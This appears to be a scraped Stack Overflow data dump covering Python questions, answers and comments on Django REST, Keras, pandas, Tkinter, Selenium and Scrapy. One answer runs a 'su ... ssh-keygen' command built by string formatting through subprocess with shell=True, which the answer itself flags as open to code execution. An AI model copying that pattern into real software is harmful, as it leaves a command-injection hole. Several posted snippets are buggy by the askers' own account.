has body: im new to Django (and to the DjangoREST framework)and and I've been struggling for a while with the following: I want for "especies" (apologies for the portuguese..) to be a vector with the names of the model Especies(scroll down pls) and instead this is giving me the id corresponding to the Especie. "especies": [ 13, 14 ] I want, for example: "especies": [ Z1, Z2 ] Thanks in advance! The JSON parsed: { "count": 1, "next": null, "previous": null, "results": [ { "codigo": "Z3", "area": "Z_tres", "especies": [ 13, 14 ], "id": 17 } ] } FROM THE DJANGO REST APP: views.py from django.shortcuts import render from species.models import Especie, Zona, EspecieZona from rest_framework import viewsets from rest.serializers import ZonaSerializer class ZonaViewSet(viewsets.ModelViewSet): queryset = Zona.objects.all() serializer_class = ZonaSerializer serializers.py from species.models import Zona from rest_framework import serializers class ZonaSerializer(serializers.ModelSerializer): class Meta: model = Zona fields = ('codigo', 'area', 'especies', 'id') The models.py on this app is empty. FROM THE MAIN APP models.py from django.db import models class Zona(models.Model): codigo = models.CharField(max_length=120) area = models.CharField(max_length=120) especies = models.ManyToManyField("Especie", blank=True) def __str__(self): return self.codigo class Especie(models.Model): nome = models.CharField(max_length=120) nome_latino = models.CharField(max_length=120) data_insercao = models.DateTimeField(auto_now_add=True) actualizacao = models.DateTimeField(auto_now=True) zonas = models.ManyToManyField("Zona",blank=True ) def __str__(self): return self.nome I believe I have posted all the relevant code to this particular case. Thanks again!
upvote count: 2
accepted answer: http://stackoverflow.com/a/47337092
has answer: http://stackoverflow.com/a/47337092
tagged with: django
tagged with: django-models
tagged with: python
tagged with: django-rest-framework
score: 2
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/json
answer count: 1
downvote count: 0

http://stackoverflow.com/q/47242915
favorite count: 0
type: Question
has body: I'm currently working on sinclair basic interpreter's GUI with python's Tkinter library. I'm using inputentry.configure(insertwidth = 7)to adjust the widht of the blinking cursor. Currently it works more or less fine but I want my cursor to be slightly wider, like in linux terminal. The problem is when I set insertwidth up to 10 or 15 it starts to overlap nearby characters. The below code draws an entry so you can see directly what is wrong: from Tkinter import * root = Tk() inputentry = Entry(root) inputentry.configure(insertwidth = 15) inputentry.pack() root.mainloop() did anyone face such sort of problem? How can I achieve linux-like cursor behaviour in a graphical(non-console) interface with Tkinter library? Any help would be gratly appriciated.
has title: How to correctly display cursor in an entry while changing its width?
tagged with: tkinter
has answer: http://stackoverflow.com/a/47248647
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81442583
linked to: http://stackoverflow.com/q/24290393
has comment: http://stackoverflow.com/comment/81437608
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47248647
score: 1
answer count: 1
has comment: http://stackoverflow.com/comment/81438281
tagged with: python
has comment: http://stackoverflow.com/comment/81447008

http://stackoverflow.com/q/47364011
has answer: http://stackoverflow.com/a/47364070
accepted answer: http://stackoverflow.com/a/47364070
score: 2
type: AnsweredQuestion
upvote count: 3
downvote count: 1
has comment: http://stackoverflow.com/comment/81680897
answer count: 1
tagged with: division
favorite count: 0
type: Question
tagged with: python-3.x
has title: Python simple float division: not accurate
has body: So I'm very new to programming but i was working on just a simple calculator. As I launched the program and tried out the division part (tried to divide 5 by 2), the output was 3.0 . The 2 numbers are floats, so I don't really understand why this doesn't work. Second, multiplication gives wrong answer aswell. from math import * while True: print("Options:") print("Enter 'add' to add two numbers") print("Enter 'subtract' or '-' to subtract two numbers") print("Enter 'multiply' to multiply two numbers") print("Enter 'divide' to divide two numbers") print("Enter 'quit' to end the program") user_input = input(": ") if user_input == "quit": print ("Calculator stopped.") break elif user_input == "subtract" or "-": num1 = float(input("num1: ")) num2 = float(input("num1: ")) print(num1 - num2) elif user_input == "multiply" or "*": num1 = float(input("num1: ")) num2 = float(input("num1: ")) print("&gt;&gt; ", num1 * num2," &lt;&lt;") elif user_input == "divide" or "/": num1 = float(input("num1: ")) num2 = float(input("num1: ")) sum = num1 / num2 print(str(float(num1)/num2)) else: print("Unknown command") BTW I use Python 3.6.1 .
tagged with: python

monkeypatching
tag name: monkeypatching
tags question: http://stackoverflow.com/q/47257033
type: Tag

http://stackoverflow.com/comment/81541201
score: 0
has text: I tried installing cython using your suggestion but got a message stating that cython is already installed. Afterwards I just received the same error https://jpst.it/17t3Y
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47277714

http://stackoverflow.com/comment/81419740
has text: Also if you are using an internal URL it might be better to call the handler directly instead of using requests.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47234554
score: 0

http://stackoverflow.com/q/47341170
has comment: http://stackoverflow.com/comment/81634672
has comment: http://stackoverflow.com/comment/81634649
has comment: http://stackoverflow.com/comment/81634824
has title: Break from loop after given a number
has comment: http://stackoverflow.com/comment/81634701
downvote count: 2
has comment: http://stackoverflow.com/comment/81634644
has comment: http://stackoverflow.com/comment/81634681
upvote count: 1
has comment: http://stackoverflow.com/comment/81634762
has answer: http://stackoverflow.com/a/47341249
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81634770
has answer: http://stackoverflow.com/a/47341326
has comment: http://stackoverflow.com/comment/81634640
has comment: http://stackoverflow.com/comment/81634725
type: UnansweredQuestion
has body: I am having issue to have my "break loop" to work, it doesn't throw any error so I can't even see what's happening. It is the option 3 when I tell the script to start blinking my LED. Originally I was looking into some ways if there is a way to run your loop and go back to your MainMenu while the loop is still running, But that wasn't the options, so I wanted to try something similar to use "for number in range(10):" def loop(): while True: os.system('clear') print print ('1. ON') print ('2. OFF') print ('3. Blink') print choice = int(raw_input('1-[ON], 2-[OFF]: ')) if choice == 1: print print ('Turning ON') GPIO.output(LedPin, GPIO.LOW) # Led ON elif choice == 2: print print ('Turning OFF') GPIO.output(LedPin, GPIO.HIGH) # Led OFF elif choice == 3: number = 0 for number in range(10): number = number + 1 if number == 5: break GPIO.output(LedPin, GPIO.LOW + str(number)) # Led ON time.sleep(0.05) GPIO.output(LedPin, GPIO.HIGH + str(number)) # Led OFF time.sleep(0.05) #print ('Number is ' + str(number)) this example works fine: number = 0 for number in range(10): number = number + 1 if number == 5: break # break here print('Number is ' + str(number)) print('Out of loop') Output: Number is 1 Number is 2 Number is 3 Number is 4 Out of loop
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/81634920
answer count: 2
tagged with: raspberry-pi

http://stackoverflow.com/a/47312590
upvote count: 3
score: 3
downvote count: 0
answers question: http://stackoverflow.com/q/47294900
has body: Because you're using python 3.x you need to use pip3 install catboost not pip install catboost
type: Answer
has comment: http://stackoverflow.com/comment/81587909
has comment: http://stackoverflow.com/comment/81588529

http://stackoverflow.com/q/47341503
type: Question
type: UnansweredQuestion
has body: Im trying to import a python file into my pycharm program. The file is in the exact same folder as my pycharm project is. I tried to use : open("happy_histogram.py","r",encoding="utf-8") but it fails to work. Appreciate your help!
tagged with: python
has title: Importing python file into my pycharm that is in the same directory
has answer: http://stackoverflow.com/a/47341577
tagged with: pycharm
downvote count: 0
score: 1
upvote count: 1
answer count: 1
tagged with: import
favorite count: 0

http://stackoverflow.com/comment/81465189
type: Comment
comment on: http://stackoverflow.com/q/47257084
score: 0
type: QuestionComment
has text: Have you tried using [setx](https://docs.python.org/2/library/turtle.html#turtle.setx) and [sety](https://docs.python.org/2/library/turtle.html#turtle.sety)?

http://stackoverflow.com/q/47314558
has answer: http://stackoverflow.com/a/47314990
tagged with: python
linked to: http://stackoverflow.com/q/47334968
type: AnsweredQuestion
score: 0
answer count: 1
tagged with: mysql
tagged with: twitter
accepted answer: http://stackoverflow.com/a/47314990
has title: How to organize Twitter data of CSV in PhpMyAdmin
type: Question
has body: I'm working on an application where I need to store a collection of tweets along with attributes such as Tweet ID, Date of Tweet, Language and Username inside of a MySQL database. This is an image of what I'm aiming for: https://i.sstatic.net/VWpyx.png To do this, I created a program in python that collects 100+ tweets on Twitter in a JSON file. I then converted the JSON file to a CSV file using Microsoft Excel. After this I imported the CSV file in PHPMyAdmin as a table and I got the following outcome: https://i.sstatic.net/V11mK.png (10 rows x 185 columns). The problem with the above is that some tweets have more data such as media, this causes the data to expand over multiple columns. How do I quickly clean this table so that I only have my desired attributes in the table? Do I need to go back to scratch and work from my Python code or can I clean from the Table/CSV file?
tagged with: http://stackoverflow.com/tag/csv

http://stackoverflow.com/comment/122614733
comment on: http://stackoverflow.com/a/47247950
type: Comment
score: 0
type: AnswerComment
has text: Note the `+1` in the `[tick]+1` ... numbering of ticks is different than one would think.

http://stackoverflow.com/q/47261775
score: 0
has answer: http://stackoverflow.com/a/55377239
answer count: 1
upvote count: 1
downvote count: 1
tagged with: excel
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81474685
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81475781
tagged with: python
has title: Error When we read from excel using python
has body: _locate_stream raise CompDocError("%s corruption: seen[%d] == %d" % (qname, s, self.seen[s])) xlrd.compdoc.CompDocError: Workbook corruption: seen[2] == 4 Process finished with exit code 1
has comment: http://stackoverflow.com/comment/81477765

pytest
tags question: http://stackoverflow.com/q/47225864
tag name: pytest
tags question: http://stackoverflow.com/q/47304655
tags question: http://stackoverflow.com/q/47293154
tags question: http://stackoverflow.com/q/47287721
tags question: http://stackoverflow.com/q/47312835
tags question: http://stackoverflow.com/q/47361823
tags question: http://stackoverflow.com/q/47368073
tags question: http://stackoverflow.com/q/47294521
tags question: http://stackoverflow.com/q/47224765
tags question: http://stackoverflow.com/q/47327905
tags question: http://stackoverflow.com/q/47250800
tags question: http://stackoverflow.com/q/47292947
type: Tag
tags question: http://stackoverflow.com/q/47243507

http://stackoverflow.com/comment/81717006
has text: drop the `[]`: `sum(1 for i in range(n) if hypot(random(), random()) < 1) / n`, no need to build an extra list. also beware of python 2: you would end up with 0 (integer division)
type: Comment
comment on: http://stackoverflow.com/a/47382181
type: AnswerComment
score: 0

http://stackoverflow.com/a/47231867
type: Answer
upvote count: 24
score: 24
has comment: http://stackoverflow.com/comment/91483570
has comment: http://stackoverflow.com/comment/91483987
answers question: http://stackoverflow.com/q/47231496
downvote count: 0
has body: From cᴏʟᴅsᴘᴇᴇᴅ's hints in the comments: resample fits well here. Resample: Convenience method for frequency conversion and resampling of time series. Object must have a datetime-like index (DatetimeIndex, PeriodIndex, or TimedeltaIndex), or pass datetime-like values to the on or level keyword. import random import datetime as dt import numpy as np import pandas as pd def generate_row(year, month, day): while True: date = dt.datetime(year=year, month=month, day=day) data = np.random.random(size=4) yield [date] + list(data) # days I have data for dates = [(2000, 1, 1), (2000, 1, 2), (2000, 2, 4)] generators = [generate_row(*date) for date in dates] # get 5 points for each data = [next(generator) for generator in generators for _ in range(5)] # make dataframe df = pd.DataFrame(data, columns=['date'] + ['f'+str(i) for i in range(1,5)]) # using the resample method df.set_index(df.date, inplace=True) df = df.resample('D').sum().fillna(0)
has comment: http://stackoverflow.com/comment/81414764
has comment: http://stackoverflow.com/comment/81414813

http://stackoverflow.com/a/47354179
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47289116
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/106736322
has body: here is another solution that is based on the answer by Daniel Möller, but uses tf.multiply like the original code. class MyLayer(Layer): def __init__(self, output_dim, **kwargs): self.output_dim = output_dim super(MyLayer, self).__init__(**kwargs) def build(self, input_shape): # Create a trainable weight variable for this layer. output_shape = self.compute_output_shape(input_shape) self.kernel = self.add_weight(name='kernel', shape=(1,) + output_shape[1:], initializer='ones', trainable=True) super(MyLayer, self).build(input_shape) # Be sure to call this somewhere! def call(self, x): return K.tf.multiply(x, self.kernel) def compute_output_shape(self, input_shape): return (input_shape[0],self.output_dim)+input_shape[1:]

http://stackoverflow.com/comment/81559481
type: Comment
type: AnswerComment
has text: you have not placed user as_dict in models. place `def user_as_dict(self): return {"first_name": self.first_name} User.add_to_class('as_dict', user_as_dict)`
score: 0
comment on: http://stackoverflow.com/a/47304013

http://stackoverflow.com/q/47342529
has answer: http://stackoverflow.com/a/47342564
accepted answer: http://stackoverflow.com/a/47342564
has answer: http://stackoverflow.com/a/47342654
tagged with: python
possible better answer: http://stackoverflow.com/a/47342775
answer count: 4
has body: How to read string column only using numpy in python? csv file: 1,2,3,"Hello" 3,3,3,"New" 4,5,6,"York" How to get array like: ["Hello","york","New"] without using pandas and sklearn.
type: AnsweredQuestion
score: 0
has title: Reading a particular column in csv file using numpy in python
upvote count: 1
downvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/71709405
type: Question
has answer: http://stackoverflow.com/a/47342775
tagged with: numpy
has comment: http://stackoverflow.com/comment/81637364

http://stackoverflow.com/q/47337634
type: AnsweredQuestion
downvote count: 0
answer count: 3
tagged with: http://stackoverflow.com/tag/json
has answer: http://stackoverflow.com/a/47337864
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47337705
accepted answer: http://stackoverflow.com/a/47337705
possible better answer: http://stackoverflow.com/a/47337669
has title: JSON print nested list from API request
has answer: http://stackoverflow.com/a/47337669
has body: I'm querying an API that interfaces to MariaDB and this is how I get the data back. {'TestTable': {'columns': ['Name', 'Id'], 'records': [['Jack', 1], ['Jill', 2]]}} What I'm trying to achieve is to print the columns before the records like so: Name: Jack Id: 1 Name: Jill Id: 2 I tried to take the data and put the columns and records into different lists and then my idea was to use an if to match the indexes and if match to print the to the format above, but it was the wrong index. Unfortuantely after trying to get it to work after about 5 different ways and 3 hours, I realized I had absolutely no idea what I was doing: jsonData = json.loads(reqGet.text) columns = jsonData['TestTable']['columns'] records = jsonData['TestTable']['records'] for idx, val in enumerate(records): print(idx, val) Output: 0 ['Jack', 1] 1 ['Jill', 2] Any thoughts besides "Have you considered digging ditches?", would be great.
tagged with: python
score: 2
upvote count: 2

http://stackoverflow.com/q/47322797
has answer: http://stackoverflow.com/a/47446283
accepted answer: http://stackoverflow.com/a/47446283
possible better answer: http://stackoverflow.com/a/47322908
has comment: http://stackoverflow.com/comment/81608245
tagged with: python
has answer: http://stackoverflow.com/a/47322908
upvote count: 4
score: 4
has answer: http://stackoverflow.com/a/47442843
has comment: http://stackoverflow.com/comment/81616204
linked to: http://stackoverflow.com/q/43456182
answer count: 4
downvote count: 0
tagged with: amazon-data-pipeline
has body: I have a python script that connects to Redshift, executes a series of SQL commands, and generates a new derived table. But for the life of me, I can't figure out a way to have it automatically run every day. I've tried AWS Data Pipeline but my shell script won't run the first copy statement. I can't get Lambda or Glue to work because my company's IAM policies are restrictive. Airflow seems like overkill to just run a single python script daily. Any suggestions for services to look into?
has comment: http://stackoverflow.com/comment/81597551
tagged with: amazon-web-services
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81596305
has answer: http://stackoverflow.com/a/47323016
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81596432
has title: What's the best way to run a python script daily?

http://stackoverflow.com/a/47230156
score: 0
has body: You did not instantiate your turtle on line 2. You need to add parenthesis to the end of the line like this: import turtle my_turtle = turtle.Turtle() my_turtle.forward(100) The value turtle.Turtle returns the class Turtle. The class is a description of how all turtles operate. Whereas, using tutle.Turtle() asks the class to create an instance of itself, a new baby turtle that follows the rules of Turtle-life and can move about on it's own independent of all other turtles that live on this Earth.
answers question: http://stackoverflow.com/q/47230051
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47230051
type: Answer

http://stackoverflow.com/a/47316280
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/47316020
type: Answer
has body: I guess fields are missing from you model definition. As per django tutorial that you are referring models looks like this. class Question(models.Model): question_text = models.CharField(max_length=200) pub_date = models.DateTimeField('date published') def __str__(self): return self.question_text def was_published_recently(self): return self.pub_date &gt;= timezone.now() - datetime.timedelta(days=1) class Choice(models.Model): question = models.ForeignKey(Question, on_delete=models.CASCADE) choice_text = models.CharField(max_length=200) votes = models.IntegerField(default=0) def __str__(self): return self.choice_text If you place these, you will not face that error.
upvote count: 1

http://stackoverflow.com/comment/82027412
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47530866
type: AnswerComment
has text: To return a FileLikeObject you need to do `with open(file_name, 'r') as tmp` construction like in my code. Then pass it to data like `data=tmp`.

http://stackoverflow.com/a/47382702
has comment: http://stackoverflow.com/comment/81735967
type: Answer
has comment: http://stackoverflow.com/comment/112157478
has body: You could use a class with all the necessary methods, see Classes. An example: class Webdriver: def __init__(self): self.genrateBroswer() self.letssee() def genrateBroswer(self): dcap = dict(DesiredCapabilities.PHANTOMJS) dcap["phantomjs.page.settings.userAgent"] = ('Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3') self.driver = webdriver.PhantomJS(desired_capabilities=dcap) self.driver.set_window_size(300, 600) def letssee(self): self.driver.get('http://www.whatsmyip.org/') self.driver.save_screenshot('this.png') # Creating an instance of the webdriver myWebsite = Webdriver() myWebsite.driver In short, everything you need to use across functions, you need to make a property of the class by storing it with the keyword self, and you need to pass self to all the functions in the class.
downvote count: 0
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/81726229
accepted answer of: http://stackoverflow.com/q/47382344
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47382344

http://stackoverflow.com/a/47318937
answers question: http://stackoverflow.com/q/47255849
upvote count: 1
type: Answer
score: 1
accepted answer of: http://stackoverflow.com/q/47255849
has body: Okay, after a couple of days and some nerdrage, I have found a solution. I uninstalled django, anaconda, and python in that order. I reinstalled anaconda and django in that order. This made the python.exe in my anaconda folder my primary python application. (?) I then added: C:\Program Files\MySQL\MySQL Server 5.7\bin into my Path in system environment variables. After this I tried to run the app with python manage.py runserver but I got the error: Unhandled exception in thread started by &lt;function check_errors.&lt;locals&gt;.wrapper at 0x00000147B66DEAE8&gt; Traceback (most recent call last): File "C:\Users\Kevin\Anaconda3\lib\site-packages\django\db\backends\mysql\base.py", line 26, in &lt;module&gt; import MySQLdb as Database ModuleNotFoundError: No module named 'MySQLdb' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Users\Kevin\Anaconda3\lib\site-packages\django\utils\autoreload.py", line 228, in wrapper fn(*args, **kwargs) File "C:\Users\Kevin\Anaconda3\lib\site-packages\django\core\management\commands\runserver.py", line 117, in inner_run autoreload.raise_last_exception() File "C:\Users\Kevin\Anaconda3\lib\site-packages\django\utils\autoreload.py", line 251, in raise_last_exception six.reraise(*_exception) File "C:\Users\Kevin\Anaconda3\lib\site-packages\django\utils\six.py", line 685, in reraise raise value.with_traceback(tb) File "C:\Users\Kevin\Anaconda3\lib\site-packages\django\utils\autoreload.py", line 228, in wrapper fn(*args, **kwargs) File "C:\Users\Kevin\Anaconda3\lib\site-packages\django\__init__.py", line 27, in setup apps.populate(settings.INSTALLED_APPS) File "C:\Users\Kevin\Anaconda3\lib\site-packages\django\apps\registry.py", line 108, in populate app_config.import_models() File "C:\Users\Kevin\Anaconda3\lib\site-packages\django\apps\config.py", line 202, in import_models self.models_module = import_module(models_module_name) File "C:\Users\Kevin\Anaconda3\lib\importlib\__init…
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/47248727
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47248762
score: 1
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/47248762
has title: Parsing CSV file with Pandas in Python 3
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
has body: I am trying to parse a movie database with Python 3. How can I parse genres of a movie with different variables? For example: 1,Toy Story (1995),Adventure|Animation|Children|Comedy|Fantasy 2,Jumanji (1995),Adventure|Children|Fantasy First value is movie_id, second is movie_name, and the third values are genres but I want to parse them as separate variables that belong to corresponding movie. In other words, I want second separator to my database as "|". How can I achieve this? Here is my code: import numpy as np import pandas as pd header = ["movie_id", "title", "genres"] movie_db = pd.read_csv("movielens/movies.csv", sep=",", names=header)

http://stackoverflow.com/comment/81480336
type: Comment
score: 0
type: AnswerComment
has text: This is great and works. I only have an issue with some specific emoticons: '\U00023EB' -> get an error of SyntaxError: (unicode error) 'unicodeescape' codec can't decode bytes in position 0-8: truncated \UXXXXXXXX escape
comment on: http://stackoverflow.com/a/47264457

http://stackoverflow.com/q/47378444
tagged with: selenium
has comment: http://stackoverflow.com/comment/81731667
favorite count: 0
type: Question
upvote count: 2
has title: selenium.common.exceptions.ElementNotVisibleException: Python error
has answer: http://stackoverflow.com/a/47378793
answer count: 1
has body: I have a code for an exercise at the university. I have installed all the package, but I don't know where the problem is. It's going to be a small scraper, just testing it out... import requests # http requests from lxml import html # html code --&gt; xml tree from selenium import webdriver # Selenium driver = webdriver.Chrome(executable_path=r'C:\python27\chromedriver.exe') from selenium.webdriver.common.keys import Keys # keyboard inputs import time # functions using time # In[89]: browser = webdriver.Chrome() # Use Google Chrome Browser # In[90]: url = "http://www.hm.com/de/" # place URL here #request website code browser.get(url) # In[91]: # find body element body_element = browser.find_element_by_tag_name("body") # scroll up and down body_element.send_keys(Keys.PAGE_DOWN) time.sleep(0.5) body_element.send_keys(Keys.PAGE_DOWN) time.sleep(0.5) body_element.send_keys(Keys.PAGE_UP) time.sleep(0.5) body_element.send_keys(Keys.PAGE_UP) # In[92]: #select search bar search_field = browser.find_element_by_id("search-input") # In[93]: search_field.send_keys("Weihnachten") # insert search term # In[94]: #click searching button browser.find_element_by_id("make-search-icon").click() # insert ID here time.sleep(10) # In[95]: #click order button browser.find_element_by_xpath("//*[@id=\"filter-controls-container\"]/div[3]/div/div/ul/li[4]/a/span").click() And the error message says: Traceback (most recent call last): browser.find_element_by_xpath("//*[@id=\"filter-controls-container\"]/div[3]/div/div/ul/li[4]/a/span").click() File "C:\Python27\lib\site-packages\selenium\webdriver\remote\webelement.py", line 80, in click self._execute(Command.CLICK_ELEMENT) File "C:\Python27\lib\site-packages\selenium\webdriver\remote\webelement.py", line 501, in _execute return self._parent.execute(command, params) File "C:\Python27\lib\site-packages\selenium\webdriver\remote\webdriver.py", line 308, in execute self.error_handler.check_response(response) File "C:\Python27\lib\site-packages\sel…
accepted answer: http://stackoverflow.com/a/47378793
tagged with: python
has comment: http://stackoverflow.com/comment/81708986
tagged with: selenium-webdriver
score: 2
type: AnsweredQuestion
downvote count: 0

http://stackoverflow.com/q/47328470
answer count: 0
type: UnansweredQuestion
has title: Sort list of ordereddict of tuples by second key in first tuple
downvote count: 0
has comment: http://stackoverflow.com/comment/81607614
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/81608031
tagged with: sorting
has comment: http://stackoverflow.com/comment/81607952
has comment: http://stackoverflow.com/comment/81608102
tagged with: ordereddictionary
has body: I have an list of ordereddict of tuples [ OrderedDict([('id', 7), ('info', 'info_data')]), OrderedDict([('id', 5), ('info', 'info_data')]), OrderedDict([('id', 6), ('info', 'info_data')]), OrderedDict([('id', 8), ('info', 'info_data')]) ] It is possible to sort by 'id' it and receive next list or ordereddict [ OrderedDict([('id', 5), ('info', 'info_data')]), OrderedDict([('id', 6), ('info', 'info_data')]), OrderedDict([('id', 7), ('info', 'info_data')]), OrderedDict([('id', 8), ('info', 'info_data')]) ]
tagged with: python
has comment: http://stackoverflow.com/comment/81608067
duplicate of: http://stackoverflow.com/q/72899
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81607592
tagged with: python-3.x

http://stackoverflow.com/q/47243903
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/47247942
tagged with: machine-learning
upvote count: 1
tagged with: keras
favorite count: 0
type: Question
has title: Keras - negative cosine proximity loss
accepted answer: http://stackoverflow.com/a/47247942
tagged with: loss
tagged with: neural-network
tagged with: python
has body: I have small neural network in Keras: contextTrain, contextTest, utteranceTrain, utteranceTest = train_test_split(context, utterance, test_size=0.1, random_state=1) model = Sequential() model.add(LSTM(input_shape=contextTrain.shape[1:], return_sequences=True, units=300, activation="sigmoid", kernel_initializer="glorot_normal", recurrent_initializer="glorot_normal")) model.add(LSTM(return_sequences=True, units=300, activation="sigmoid", kernel_initializer="glorot_normal", recurrent_initializer="glorot_normal")) model.compile(loss="cosine_proximity", optimizer="adam", metrics=["accuracy"]) model.fit(contextTrain, utteranceTrain, epochs=5000, validation_data=(contextTest, utteranceTest), callbacks=[ModelCheckpoint("model{epoch:02d}.h5", monitor='val_acc', save_best_only=True, mode='max')]) Context and utterance are numpy arrays with shape e.g. (100, 15, 300). Input_shape of fisrt LSTM should be (15, 300). I don't know what happened but suddenly it prints negative loss and val_loss during training. It used to be normally positive (around 0.18 and so). Train on 90 samples, validate on 10 samples Epoch 1/5000 90/90 [==============================] - 5s 52ms/step - loss: -0.4729 - acc: 0.0059 - val_loss: -0.4405 - val_acc: 0.0133 Epoch 2/5000 90/90 [==============================] - 2s 18ms/step - loss: -0.5091 - acc: 0.0089 - val_loss: -0.4658 - val_acc: 0.0133 Epoch 3/5000 90/90 [==============================] - 2s 18ms/step - loss: -0.5204 - acc: 0.0170 - val_loss: -0.4829 - val_acc: 0.0200 Epoch 4/5000 90/90 [==============================] - 2s 20ms/step - loss: -0.5296 - acc: 0.0244 - val_loss: -0.4949 - val_acc: 0.0333 Epoch 5/5000 90/90 [==============================] - 2s 20ms/step - loss: -0.5370 - acc: 0.0422 - val_loss: -0.5021 - val_acc: 0.0400 What does it mean? And what is the possible reason?
type: AnsweredQuestion
score: 1

http://stackoverflow.com/comment/81638874
score: 0
has text: you can also create global buttons (create outside functions) and in functions use `place()` to show one and `place_forget()` to hide another one.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47342764

http://stackoverflow.com/comment/81666488
type: Comment
type: QuestionComment
has text: I meant like 1/x, you can pick from 1.2 if you want .. i was more concerned with the slope rather than the domain of the values
score: 0
comment on: http://stackoverflow.com/q/47356748

http://stackoverflow.com/a/47308796
answers question: http://stackoverflow.com/q/47308367
downvote count: 0
has comment: http://stackoverflow.com/comment/81569246
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/81569279
type: Answer
has body: Use the subprocess module: import subprocess username = 'user' result, err = subprocess.Popen( 'su %s -c "ssh-keygen -f /home/%s/.ssh/id_rsa -t rsa -b 4096 -N ''"' % (username, username), stdout=subprocess.PIPE, shell=True ).communicate() if err: print('Something went wrong') else: print(result) Edit: this is the 'fast' way to do that, you should't use shell=True if you can't control the input since it allows code execution as said here
has comment: http://stackoverflow.com/comment/81569713

http://stackoverflow.com/comment/81687747
type: Comment
type: AnswerComment
score: 0
has text: would you please elaborate how to do it for as I have my labels in column[0] and texts in column[1] in csv format?`.I know it sounds weired but I am really a newbie to this field
comment on: http://stackoverflow.com/a/47354014

http://stackoverflow.com/comment/81704244
comment on: http://stackoverflow.com/a/47362117
type: Comment
type: AnswerComment
score: 1
has text: Thanks a lot! I very much appreciate the effort you put into this answer. It seems like `pkg_resources.resource_filename` is what I was looking for. I will play around with it tomorrow. If no other answer appears by then I will accept this one. For now, have a +1.

http://stackoverflow.com/a/47301966
type: Answer
score: 2
upvote count: 2
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47301669
has body: You have a circular dependency in your models, see these snippets in your traceback: File "/base/data/home/apps/app/0-1.405524594589080344/BaseHandler.py", line 26, in &lt;module&gt; from user.database import u_db ... File "/base/data/home/apps/app/0-1.405524594589080344/events/database/e_db.py", line 7, in &lt;module&gt; from user.database import u_db You need to fix that. Often it can be done simply by moving the import statements inside the functions where they are actually needed instead of just at the top of the file. But not always.
accepted answer of: http://stackoverflow.com/q/47301669

http://stackoverflow.com/a/47229873
has comment: http://stackoverflow.com/comment/81410893
score: 1
downvote count: 0
upvote count: 1
has body: You could put the script into a template and then fill in the values. This might be easier to manage than concatenating strings if your generated script is even moderately complex. # script.template import network from machine import Pin, PWM from time import sleep ${xyz} # script-generator.py from string import Template with open('script.template') as f: template = Template(f.read() contents = template.substitute(xyz='xyz') with open('main.py', 'w') as f: f.write(contents) Or you could use str.format() like this if a separate template file seems like overkill: script = """\ import network from machine import Pin, PWM from time import sleep {xyz} """ data = {'xyz': 'xyz'} with open('main.py', 'w') as f: f.write(script.format(**data))
answers question: http://stackoverflow.com/q/47229728
has comment: http://stackoverflow.com/comment/81410496
type: Answer

http://stackoverflow.com/comment/81582824
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47314694
has text: Your opencv does not have ffmpeg (probably lib4l2 as well) support. Installing ffmpeg alone won't help. You've to build opencv again.

http://stackoverflow.com/q/47250288
tagged with: web-scraping
tagged with: scrapy
accepted answer: http://stackoverflow.com/a/47268273
type: Question
has answer: http://stackoverflow.com/a/47268273
tagged with: python
has comment: http://stackoverflow.com/comment/81465167
tagged with: xpath
type: AnsweredQuestion
has body: I am trying to log in to site using scrapy. I took an example site and checked. It is working for that site. Then i took another site and checked. Its not working. I just changed the urls and ran the code. But not working. What would be the problem? # -*- coding: utf-8 -*- import scrapy from scrapy.http import FormRequest from scrapy.utils.response import open_in_browser class QuoteSpider(scrapy.Spider): name = 'Quote' allowed_domains = ["quotes.toscrape.com"] start_urls = ( 'http://quotes.toscrape.com/login', ) def parse(self, response): token=response.xpath('//input[@name="csrf_token"]/@value').extract_first() return FormRequest.from_response(response,formdata={'csrf_token':token,'password':'foo','username':'foo'},callback=self.scape_home_page) def scape_home_page(self, response): open_in_browser(response) This is working fine. THe other one is not. # -*- coding: utf-8 -*- import scrapy from scrapy.http import FormRequest from scrapy.utils.response import open_in_browser class BucketsSpider(scrapy.Spider): name = 'buckets' allowed_domains = ['http://collegekart.in/login'] start_urls = ['http://collegekart.in/login/'] def parse(self, response): token=response.xpath('//meta[@name="csrf-token"]/@content').extract_first() print(token) return FormRequest.from_response(response,formdata={'csrf-token':token,'password':'*********','username':'**************'},callback=self.scape_home_page) def scape_home_page(self, response): open_in_browser(response) print("yes") This is not working. The response is not opening in browser. Please suggest me some ways to solve this.
score: 0
